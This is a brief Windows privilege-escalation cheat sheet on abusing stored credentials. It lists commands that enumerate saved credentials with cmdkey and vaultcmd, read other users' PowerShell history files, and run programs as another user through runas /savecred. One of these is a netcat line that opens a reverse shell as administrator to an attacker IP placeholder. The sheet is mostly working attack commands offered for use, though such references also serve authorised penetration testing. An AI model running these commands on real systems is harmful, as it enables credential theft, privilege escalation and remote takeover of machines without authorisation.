Stored Credentials

reference 7 commands

List saved Windows credentials

cmdkey /list

Look for: Target=DOMAIN\USER or TERMSRV/<IP>

Use saved credentials

runas /savecred /user:<DOMAIN>\<USER> "cmd.exe /c whoami > C:\Windows\Temp\out.txt"

runas /savecred /user:administrator "cmd.exe /c nc.exe <YOUR-IP> 4444 -e cmd.exe"

Check credential manager

vaultcmd /listcreds:"Windows Credentials" /all

vaultcmd /listcreds:"Certificate-Based Credentials" /all

PowerShell credential files

dir C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

type C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt